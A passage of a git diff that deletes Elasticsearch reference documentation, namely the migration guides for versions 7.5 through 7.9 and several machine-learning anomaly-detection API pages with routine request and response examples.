-of objects. Each object contains the `phase` name and `progress_percent` of one
-phase of the analytics. For example:
-
-[source,js]
-----
-{
-  "id" : "my_job",
-  "state" : "analyzing",
-  "progress" : [
-    {
-      "phase" : "reindexing",
-      "progress_percent" : 100
-    },
-    {
-      "phase" : "loading_data",
-      "progress_percent" : 100
-    },
-    {
-      "phase" : "analyzing",
-      "progress_percent" : 47
-    },
-    {
-      "phase" : "writing_results",
-      "progress_percent" : 0
-    }
-  ]
-}
-----
-// NOTCONSOLE
diff --git a/docs/reference/migration/migrate_7_5.asciidoc b/docs/reference/migration/migrate_7_5.asciidoc
deleted file mode 100644
index 7db1961f86d..00000000000
--- a/docs/reference/migration/migrate_7_5.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[breaking-changes-7.5]]
-== Breaking changes in 7.5
-++++
-<titleabbrev>7.5</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.5.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-//end::notable-breaking-changes[]
-
-[discrete]
-[[breaking_75_search_changes]]
-=== Search Changes
-
-[discrete]
-==== Stricter checking for wildcard queries on _index
-Previously, a wildcard query on the `_index` field matched directly against the
-fully-qualified index name. Now, in order to match against remote indices like
-`cluster:index`, the query must contain a colon, as in `cl*ster:inde*`. This
-behavior aligns with the way indices are matched in the search endpoint.
diff --git a/docs/reference/migration/migrate_7_6.asciidoc b/docs/reference/migration/migrate_7_6.asciidoc
deleted file mode 100644
index 7c82fb271a3..00000000000
--- a/docs/reference/migration/migrate_7_6.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[[breaking-changes-7.6]]
-== Breaking changes in 7.6
-++++
-<titleabbrev>7.6</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.6.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[breaking_76_security_changes]]
-=== Security changes
-
-[discrete]
-==== {es} API key privileges
-
-If you use an API key to create another API key (sometimes called a
-_derived key_), its behavior is impacted by the fix for
-https://www.elastic.co/community/security[CVE-2020-7009].
-
-When you make a request to create API keys, you can specify an expiration and
-privileges for the API key. Previously, when you created a derived key, it had
-no privileges. This behavior disregarded any privileges that you specified in
-the {ref}/security-api-create-api-key.html[create API key API].
-
-As of 7.6.2, this behavior changes. To create a derived key, you must explicitly
-specify a role descriptor with no privileges:
-
-[source,js]
-----
-...
-"role_descriptors": {
-    "no-privilege": {
-    }
-}
-...
-----
-// NOTCONSOLE
-
-//end::notable-breaking-changes[]
-
-[discrete]
-[[breaking_76_search_changes]]
-=== Search changes
-
-[discrete]
-==== Aggregating and sorting on `_id` is deprecated
-It's possible to aggregate and sort on the built-in `_id` field by loading an
-expensive data structure called fielddata. This was deprecated in 7.6 and will
-be disallowed by default in 8.0. As an alternative, the `_id` field's contents
-can be duplicated into another field with docvalues enabled (note that this
-does not apply to auto-generated IDs).
-
-[discrete]
-==== Deprecation of sparse vector fields
-The `sparse_vector` field type has been deprecated and will be removed in 8.0.
-We have not seen much interest in this experimental field type, and don't see
-a clear use case as it's currently designed. If you have feedback or
-suggestions around sparse vector functionality, please let us know through
-GitHub or the 'discuss' forums.
-
-[discrete]
-==== Update to vector function signatures
-The vector functions of the form `function(query, doc['field'])` are
-deprecated, and the form `function(query, 'field')` should be used instead.
-For example, `cosineSimilarity(query, doc['field'])` is replaced by
-`cosineSimilarity(query, 'field')`.
-
-[discrete]
-==== Disallow use of the `nGram` and `edgeNGram` tokenizer names
-
-The `nGram` and `edgeNGram` tokenizer names haven been deprecated with 7.6.
-Mappings for indices created after 7.6 will continue to work but emit a
-deprecation warning. The tokenizer name should be changed to the fully
-equivalent `ngram` or `edge_ngram` names for new indices and in index
-templates.
diff --git a/docs/reference/migration/migrate_7_7.asciidoc b/docs/reference/migration/migrate_7_7.asciidoc
deleted file mode 100644
index 33d18eaf4d3..00000000000
--- a/docs/reference/migration/migrate_7_7.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[[breaking-changes-7.7]]
-== Breaking changes in 7.7
-++++
-<titleabbrev>7.7</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.7.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[breaking_77_logging_changes]]
-=== Logging changes
-
-[discrete]
-==== Loggers under `org.elasticsearch.action` now log at `INFO` level by default
-
-The default log level for most loggers is `INFO`, but in earlier versions
-loggers in the `org.elasticsearch.action.*` hierarchy emitted log messages at
-`DEBUG` level by default. This sometimes resulted in a good deal of unnecessary
-log noise. From 7.7 onwards the default log level for logger in this hierarchy
-is now `INFO`, in line with most other loggers. If needed, you can recover the
-pre-7.7 default behaviour by adjusting your {ref}/logging.html[logging].
-
-[discrete]
-[[breaking_77_mapping_changes]]
-=== Mapping changes
-
-[discrete]
-[[stricter-mapping-validation]]
-==== Validation for dynamic templates
-
-So far misconfiguration of dynamic templates have been discovered when indexing
-a document with an unmapped field only. In {es} 8.0 and later versions, dynamic mappings
-have stricter validation, done at mapping update time. Invalid updates, such as using
-incorrect analyzer settings or unknown field types, fail. For
-indices created in {es} 7.7 and later version, the update succeeds but emits a warning.
-
-
-[discrete]
-[[breaking_77_settings_changes]]
-=== Settings changes
-
-[discrete]
-[[deprecate-listener-thread-pool]]
-==== `thread_pool.listener.size` and `thread_pool.listener.queue_size` have been deprecated
-The listener thread pool is no longer used internally by Elasticsearch.
-Therefore, these settings have been deprecated. You can safely remove these
-settings from the configuration of your nodes.
-
-[discrete]
-[[deprecate-cluster-remote-connect]]
-==== `cluster.remote.connect` is deprecated in favor of `node.remote_cluster_client`
-Previously the setting `cluster.remote.connect` was used to configure whether or
-not the local node is capable of acting as a remote cluster client in
-cross-cluster search and cross-cluster replication. This setting is deprecated
-in favor of `node.remote_cluster_client` serves the same purpose and identifies
-the local node as having the `remote_cluster_client` role.
-
-[discrete]
-[[deprecate-missing-realm-order]]
-==== Authentication realm `order` will be a required config in version 8.0.0.
-
-The `order` config will be required in version 8.0.0 for authentication realm
-configuration of any type. If the `order` config is missing for a realm, the node
-will fail to start.
-
-[discrete]
-[[deprecate-duplicated-realm-orders]]
-==== Authentication realm `order` uniqueness will be enforced in version 8.0.0.
-
-The `order` config of authentication realms must be unique in version 8.0.0.
-If you configure more than one realm of any type with the same order, the node will fail to start.
-
-[discrete]
-[[deprecate-insecure-monitoring-password]]
-==== Deprecation of insecure monitoring password setting
-
-The `auth.password` setting for the monitoring HTTP exporter has been deprecated and will be
-removed in version 8.0.0. Please use the `auth.secure_password` setting instead.
-
-[discrete]
-[[breaking_77_search_changes]]
-=== Search changes
-
-[discrete]
-==== Consistent rounding of range queries on `date_range` fields
-`range` queries on `date_range` field currently can have slightly differently
-boundaries than their equivalent query on a pure `date` field. This can e.g.
-happen when using date math or dates that don't specify up to the last
-millisecond. While queries on `date` field round up to the latest millisecond
-for `gt` and `lte` boundaries, the same queries on `date_range` fields didn't
-do this. The behavior is now the same for both field types like documented in
-{ref}/query-dsl-range-query.html#range-query-date-math-rounding[Date math and rounding].
-
-[discrete]
-==== Pipeline aggregation validation errors
-The pipeline aggregation validation has been moved to the coordinating node.
-Those errors that used to return HTTP 500s/Internal Server Errors now return
-400/Bad Request and we now return a list of validation errors rather than the
-first one we encounter.
-
-[discrete]
-[[breaking_77_highlighters_changes]]
-=== Highlighters changes
-
-[discrete]
-==== Ignored keyword values are no longer highlighted
-If a keyword value was ignored during indexing because of its length
-(`ignore_above` parameter was applied), {es} doesn't attempt to
-highlight it anymore, which means no highlights are produced for
-ignored values.
-//end::notable-breaking-changes[]
diff --git a/docs/reference/migration/migrate_7_8.asciidoc b/docs/reference/migration/migrate_7_8.asciidoc
deleted file mode 100644
index d38852b327a..00000000000
--- a/docs/reference/migration/migrate_7_8.asciidoc
+++ /dev/null
@@ -1,214 +0,0 @@
-[[breaking-changes-7.8]]
-== Breaking changes in 7.8
-++++
-<titleabbrev>7.8</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to {es} 7.8.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-* <<breaking_781_license_changes>>
-* <<breaking_78_aggregation_changes>>
-* <<breaking_78_mappings_changes>>
-* <<breaking_78_settings_changes>>
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-[discrete]
-[[breaking_781_license_changes]]
-=== License Information changes
-
-As of the `7.8.1` release
-
-.Displays Enterprise license as Platinum in /_xpack 
-[%collapsible]
-====
-*Details*
-The `GET /_license` endpoint displays Enterprise licenses as
-Platinum by default so that old clients (including Beats, Kibana and
-Logstash) know to interpret this new license type as if it were a
-Platinum license.
-
-This compatibility layer was not applied to the `GET /_xpack/`
-endpoint, which also displays a license type and mode. {es-pull}58217[#58217]
-====
-
-
-[discrete]
-[[breaking_78_aggregation_changes]]
-=== Aggregation changes
-
-.Privilege `indices:admin/create` will no longer allow the auto creation of indices
-[%collapsible]
-====
-*Details*
-The privilege named `indices:admin/create` will no longer allow the auto
-creation of indices. Use `create_index` instead. {es-pull}55858[#55858]
-====
-
-.`value_count` aggregation optimization
-[%collapsible]
-====
-*Details*
-Scripts used in `value_count` will now receive a number if they are
-counting a numeric field and a `GeoPoint` if they are counting a
-`geo_point` fields.  They used to always receive the `String`
-representation of those values.  {es-pull}54854[#54854]
-====
-
-[discrete]
-[[breaking_78_mappings_changes]]
-=== Mappings changes
-
-[[prevent-enabled-setting-change]]
-.The `enabled` mapping parameter cannot be changed for a root mapping.
-[%collapsible]
-====
-*Details* +
-Mapping requests that attempt to change the {ref}/enabled.html[`enabled`]
-mapping parameter for a root mapping will fail and return an error.
-
-Previously, {es} accepted mapping requests that attempted to change the
-`enabled` parameter of the root mapping. Theses changes were not applied, but
-such requests didn't return an error.
-
-*Impact* +
-To avoid errors, do not submit mapping requests that change the
-{ref}/enabled.html[`enabled`] mapping parameter.
-====
-
-[[prevent-include-in-root-change]]
-.The `include_in_parent` and `include_in_root` mapping parameters cannot be changed for `nested` fields.
-[%collapsible]
-====
-*Details* +
-Mapping requests that attempt to change the
-{ref}/nested.html#nested-include-in-parent-parm[`include_in_parent`] or
-{ref}/nested.html#nested-include-in-root-parm[`include_in_root`] mapping
-parameter for a `nested` field will fail and return an error.
-
-Previously, {es} accepted mapping requests that attempted to change the
-`include_in_parent` or `include_in_root` parameter. Theses changes were not
-applied, but such requests didn't return an error.
-
-*Impact* +
-To avoid errors, do not submit mapping requests that change the
-{ref}/nested.html#nested-include-in-parent-parm[`include_in_parent`] or
-{ref}/nested.html#nested-include-in-root-parm[`include_in_root`] mapping
-parameter.
-====
-
-.The get field mapping API's `local` query parameter is deprecated.
-[%collapsible]
-====
-*Details* +
-The {ref}/indices-get-field-mapping.html[get field mapping API]'s `local` query
-parameter is deprecated and will be removed in {es} 8.0.0.
-
-The `local` parameter is a no-op. The API always retrieves field mappings
-locally.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of the `local` parameter.
-====
-
-[discrete]
-[[breaking_78_settings_changes]]
-=== Settings changes
-
-[[deprecate-node-local-storage]]
-.The `node.local_storage` setting is deprecated.
-[%collapsible]
-====
-*Details* +
-The `node.local_storage` setting is deprecated. In {es} 8.0.0, all nodes require
-local storage.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of the `node.local_storage`
-setting.
-====
-
-[[deprecate-basic-license-feature-enabled]]
-
-.Several {xpack} settings no longer have any effect and are deprecated.
-
-[%collapsible]
-====
-*Details* +
-Basic {xpack} license features are always enabled for the {default-dist}
-and the following settings no longer have any effect:
-
-* `xpack.enrich.enabled`
-* `xpack.flattened.enabled`
-* `xpack.ilm.enabled`
-* `xpack.monitoring.enabled`
-* `xpack.rollup.enabled`
-* `xpack.slm.enabled`
-* `xpack.sql.enabled`
-* `xpack.transform.enabled`
-* `xpack.vectors.enabled`
-
-Previously, they could be set to `false` to disable the feature's APIs in a cluster.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of these settings.
-If you have disabled ILM so that you can use another tool to manage Watcher
-indices, the newly introduced `xpack.watcher.use_ilm_index_management` setting
-may be set to false.
-====
-
-[discrete]
-[[builtin-users-changes]]
-==== Changes to built-in users
-
-.The `kibana` user has been deprecated in favor of the `kibana_system` user.
-[%collapsible]
-====
-*Details* +
-The `kibana` user was historically used to authenticate {kib} to {es}.
-The name of this user was confusing, and was often mistakenly used to login to {kib}.
-We've replaced the `kibana` user with the `kibana_system` user to reduce
-confusion and to better align with other built-in system accounts.
-
-*Impact* +
-If your `kibana.yml` used to contain:
-[source,yaml]
---------------------------------------------------
-elasticsearch.username: kibana
---------------------------------------------------
-
-then you should update to use the new `kibana_system` user instead:
-[source,yaml]
---------------------------------------------------
-elasticsearch.username: kibana_system
---------------------------------------------------
-
-IMPORTANT: The new `kibana_system` user does not preserve the previous `kibana`
-user password. You must explicitly set a password for the `kibana_system` user.
-====
-
-
-[discrete]
-[[builtin-roles-changes]]
-==== Changes to built-in roles
-
-.The `kibana_user` role has been deprecated in favor of the `kibana_admin` role.
-[%collapsible]
-====
-*Details* +
-Users who were previously assigned the `kibana_user` role should instead be assigned
-the `kibana_admin` role. This role grants the same set of privileges as `kibana_user`, but has been
-renamed to better reflect its intended use.
-
-*Impact* +
-Assign users with the `kibana_user` role to the `kibana_admin` role.
-Discontinue use of the `kibana_user` role.
-====
-
-//end::notable-breaking-changes[]
diff --git a/docs/reference/migration/migrate_7_9.asciidoc b/docs/reference/migration/migrate_7_9.asciidoc
deleted file mode 100644
index 2e4bf4c17b9..00000000000
--- a/docs/reference/migration/migrate_7_9.asciidoc
+++ /dev/null
@@ -1,160 +0,0 @@
-[[breaking-changes-7.9]]
-== Breaking changes in 7.9
-++++
-<titleabbrev>7.9</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to {es} 7.9.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-* <<breaking_79_indices_changes>>
-* <<breaking_79_script_cache_changes>>
-* <<breaking_79_settings_changes>>
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[breaking_79_indices_changes]]
-=== Indices changes
-.{es} includes built-in index templates for `logs-*-*` and `metrics-*-*`.
-
-[%collapsible]
-====
-*Details* +
-In 7.9, {es} added built-in index templates for the `metrics-*-*` and
-`logs-*-*` index patterns, each with a priority of `100`.
-{ingest-guide}/ingest-management-overview.html[{agent}] uses these templates to
-create data streams.
-
-*Impact* +
-If you use {agent}, assign your index templates a priority
-lower than `100` to avoid overriding the built-in templates.
-
-Otherwise, to avoid accidentally applying the built-in templates, use a
-non-overlapping index pattern or assign templates with an overlapping pattern a
-`priority` higher than `100`.
-
-For example, if you don't use {agent} and want to use a template for the
-`logs-*` index pattern, assign your template a priority of `200`. This ensures
-your template is applied instead of the built-in template for `logs-*-*`.
-====
-//end::notable-breaking-changes[]
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[breaking_79_script_cache_changes]]
-=== Script cache changes
-[[deprecate_general_script_cache_size]]
-.The `script.cache.max_size` setting is deprecated.
-
-[%collapsible]
-====
-*Details* +
-The `script.cache.max_size` setting is deprecated. In {es} 8.0.0, this is
-set per-context.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of the `script.cache.max_size`
-setting. You may use `script.context.$CONTEXT.cache_max_size` for the particular context.
-For example, for the `ingest` context, use `script.context.ingest.cache_max_size`.
-
-====
-
-[discrete]
-[[deprecate_general_script_expire]]
-.The `script.cache.expire` setting is deprecated.
-
-[%collapsible]
-====
-*Details* +
-The `script.cache.expire` setting is deprecated. In {es} 8.0.0, this is
-set per-context.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of the `script.cache.expire`
-setting. You may use `script.context.$CONTEXT.cache_expire` for the particular context.
-For example, for the `update` context, use `script.context.update.cache_expire`.
-
-====
-
-[discrete]
-[[deprecate_general_script_compile_rate]]
-.The `script.max_compilations_rate` setting is deprecated.
-
-[%collapsible]
-====
-*Details* +
-The `script.max_compilations_rate` setting is deprecated. In {es} 8.0.0, this is
-set per-context.
-
-*Impact* +
-To avoid deprecation warnings, discontinue use of the `script.max_compilations_rate`
-setting. You may use `script.context.$CONTEXT.max_compilations_rate` for the particular
-context.  For example, for the `processor_conditional` context, use
-`script.context.processor_conditional.max_compilations_rate`.
-
-====
-
-[discrete]
-[[deprecate_mapping_updates_for_ingest_privileges]]
-.Mapping actions have been deprecated for the `create_doc`, `create`, `index` and `write` privileges.
-[%collapsible]
-====
-*Details* +
-In {es} 8.0.0, the following privileges will no longer allow users to
-explicitly update the mapping of an index:
-
-* `create_doc`
-* `create`
-* `index`
-* `write`
-
-Additionally, in {es} 8.0.0, the following privileges will no longer allow users to
-{ref}/dynamic-mapping.html[dynamically update the mapping] of an index 
-during indexing or ingest:
-
-* `create_doc`
-* `create`
-* `index`
-
-These privileges will continue to allow mapping actions on indices (but not on data streams) until
-{es} 8.0.0. However, deprecation warnings will be returned.
-
-*Impact* +
-To allow users to explicitly update the mapping of an index,
-grant the `manage` privilege.
-
-To dynamically update the mapping of an index during indexing or
-ingest, grant the `auto_configure` privilege and use index templates. This lets
-you dynamically update the index mapping based on the template's mapping configuration.
-====
-
-[discrete]
-[[breaking_79_settings_changes]]
-=== Settings changes
-
-[[deprecate_auto_import_dangling_indices]]
-.Automatically importing dangling indices is disabled by default.
-
-[%collapsible]
-====
-*Details* +
-Automatically importing <<dangling-indices,dangling indices>> into the cluster
-is unsafe and is now disabled by default. This feature will be removed entirely
-in {es} 8.0.0.
-
-*Impact* +
-Use the <<dangling-indices-api,Dangling indices API>> to list, delete or import
-any dangling indices manually.
-
-Alternatively you can enable automatic imports of dangling indices, recovering
-the unsafe behaviour of earlier versions, by setting
-`gateway.auto_import_dangling_indices` to `true`. This setting is deprecated
-and will be removed in {es} 8.0.0. We do not recommend using this setting.
-
-====
-//end::notable-breaking-changes[]
diff --git a/docs/reference/migration/migration.asciidoc b/docs/reference/migration/migration.asciidoc
deleted file mode 100644
index bf46b3b5a5b..00000000000
--- a/docs/reference/migration/migration.asciidoc
+++ /dev/null
@@ -1,10 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[migration-api]]
-== Migration APIs
-
-The migration APIs simplify upgrading {xpack} indices from one version to another.
-
-* <<migration-api-deprecation>>
-
-include::apis/deprecation.asciidoc[]
diff --git a/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc
deleted file mode 100644
index 1fa767da583..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/close-job.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-close-job]]
-= Close {anomaly-jobs} API
-++++
-<titleabbrev>Close jobs</titleabbrev>
-++++
-
-Closes one or more {anomaly-jobs}.
-A job can be opened and closed multiple times throughout its lifecycle.
-
-A closed job cannot receive data or perform analysis
-operations, but you can still explore and navigate results.
-
-[[ml-close-job-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/_close` +
-
-`POST _ml/anomaly_detectors/<job_id>,<job_id>/_close` +
-
-`POST _ml/anomaly_detectors/_all/_close` +
-
-[[ml-close-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-* Before you can close an {anomaly-job}, you must stop its {dfeed}. See
-<<ml-stop-datafeed>>.
-
-[[ml-close-job-desc]]
-== {api-description-title}
-
-You can close multiple {anomaly-jobs} in a single API request by using a group
-name, a comma-separated list of jobs, or a wildcard expression. You can close
-all jobs by using `_all` or by specifying `*` as the `<job_id>`.
-
-When you close a job, it runs housekeeping tasks such as pruning the model history,
-flushing buffers, calculating final results and persisting the model snapshots.
-Depending upon the size of the job, it could take several minutes to close and
-the equivalent time to re-open.
-
-After it is closed, the job has a minimal overhead on the cluster except for
-maintaining its meta data. Therefore it is a best practice to close jobs that
-are no longer required to process data.
-
-When a {dfeed} that has a specified end date stops, it automatically closes
-the job.
-
-NOTE: If you use the `force` query parameter, the request returns without performing
-the associated actions such as flushing buffers and persisting the model snapshots.
-Therefore, do not use this parameter if you want the job to be in a consistent state
-after the close job API returns.  The `force` query parameter should only be used in
-situations where the job has already failed, or where you are not interested in
-results the job might have recently produced or might produce in the future.
-
-[[ml-close-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-wildcard]
-
-[[ml-close-job-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-jobs]
-
-`force`::
-(Optional, Boolean) Use to close a failed job, or to forcefully close a job
-which has not responded to its initial close request.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Controls the time to wait until a job 
-has closed. The default value is 30 minutes.
-
-[[ml-close-job-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no 
-  resources that match the request or only partial matches for the request.
-
-[[ml-close-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/low_request_rate/_close
---------------------------------------------------
-// TEST[skip:sometimes fails due to https://github.com/elastic/elasticsearch/pull/48583#issuecomment-552991325 - on unmuting use setup:server_metrics_openjob-raw]
-
-When the job is closed, you receive the following results:
-
-[source,console-result]
-----
-{
-  "closed": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc
deleted file mode 100644
index 04120ff327f..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-calendar-event.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-calendar-event]]
-= Delete events from calendar API
-++++
-<titleabbrev>Delete events from calendar</titleabbrev>
-++++
-
-Deletes scheduled events from a calendar.
-
-[[ml-delete-calendar-event-request]]
-== {api-request-title}
-
-`DELETE _ml/calendars/<calendar_id>/events/<event_id>`
-
-[[ml-delete-calendar-event-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-calendar-event-desc]]
-== {api-description-title}
-
-This API removes individual events from a calendar. To remove all scheduled
-events and delete the calendar, see the
-<<ml-delete-calendar,delete calendar API>>.
-
-[[ml-delete-calendar-event-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-`<event_id>`::
-(Required, string) Identifier for the scheduled event. You can obtain this
-identifier by using the <<ml-get-calendar-event,get calendar events API>>.
-
-[[ml-delete-calendar-event-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/calendars/planned-outages/events/LS8LJGEBMTCMA-qz49st
---------------------------------------------------
-// TEST[skip:catch:missing]
-
-When the event is removed, you receive the following results:
-[source,js]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc
deleted file mode 100644
index d16a742e5dc..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-calendar-job.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-calendar-job]]
-= Delete {anomaly-jobs} from calendar API
-++++
-<titleabbrev>Delete jobs from calendar</titleabbrev>
-++++
-
-Deletes {anomaly-jobs} from a calendar.
-
-[[ml-delete-calendar-job-request]]
-== {api-request-title}
-
-`DELETE _ml/calendars/<calendar_id>/jobs/<job_id>`
-
-[[ml-delete-calendar-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-calendar-job-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-list]
-
-[[ml-delete-calendar-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/calendars/planned-outages/jobs/total-requests
---------------------------------------------------
-// TEST[skip:setup:calendar_outages_addjob]
-
-When the job is removed from the calendar, you receive the following
-results:
-
-[source,console-result]
-----
-{
-   "calendar_id": "planned-outages",
-   "job_ids": []
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc
deleted file mode 100644
index 388ec663772..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-calendar.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-calendar]]
-= Delete calendars API
-++++
-<titleabbrev>Delete calendars</titleabbrev>
-++++
-
-Deletes a calendar.
-
-[[ml-delete-calendar-request]]
-== {api-request-title}
-
-`DELETE _ml/calendars/<calendar_id>`
-
-[[ml-delete-calendar-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-calendar-desc]]
-== {api-description-title}
-
-This API removes all scheduled events from the calendar then deletes the
-calendar.
-
-[[ml-delete-calendar-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-[[ml-delete-calendar-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/calendars/planned-outages
---------------------------------------------------
-// TEST[skip:setup:calendar_outages]
-
-When the calendar is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc
deleted file mode 100644
index 38c6dcd2ab9..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-datafeed.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-datafeed]]
-= Delete {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Delete {dfeeds}</titleabbrev>
-++++
-
-Deletes an existing {dfeed}.
-
-[[ml-delete-datafeed-request]]
-== {api-request-title}
-
-`DELETE _ml/datafeeds/<feed_id>`
-
-[[ml-delete-datafeed-prereqs]]
-== {api-prereq-title}
-
-* Unless you use the `force` parameter, you must stop the {dfeed} before you
-can delete it.
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[[ml-delete-datafeed-query-parms]]
-== {api-query-parms-title}
-
-`force`::
-  (Optional, Boolean) Use to forcefully delete a started {dfeed}; this method is
-  quicker than stopping and deleting the {dfeed}.
-
-[[ml-delete-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/datafeeds/datafeed-total-requests
---------------------------------------------------
-// TEST[skip:setup:server_metrics_datafeed]
-
-When the {dfeed} is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc
deleted file mode 100644
index bfe45e4c27b..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-expired-data.asciidoc
+++ /dev/null
@@ -1,74 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-expired-data]]
-= Delete expired data API
-++++
-<titleabbrev>Delete expired data</titleabbrev>
-++++
-
-Deletes expired and unused machine learning data.
-
-[[ml-delete-expired-data-request]]
-== {api-request-title}
-
-`DELETE _ml/_delete_expired_data` +
-
-`DELETE _ml/_delete_expired_data/<job_id>`
-
-[[ml-delete-expired-data-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-expired-data-desc]]
-== {api-description-title}
-
-Deletes all job results, model snapshots and forecast data that have exceeded
-their `retention days` period. Machine learning state documents that are not
-associated with any job are also deleted.
-
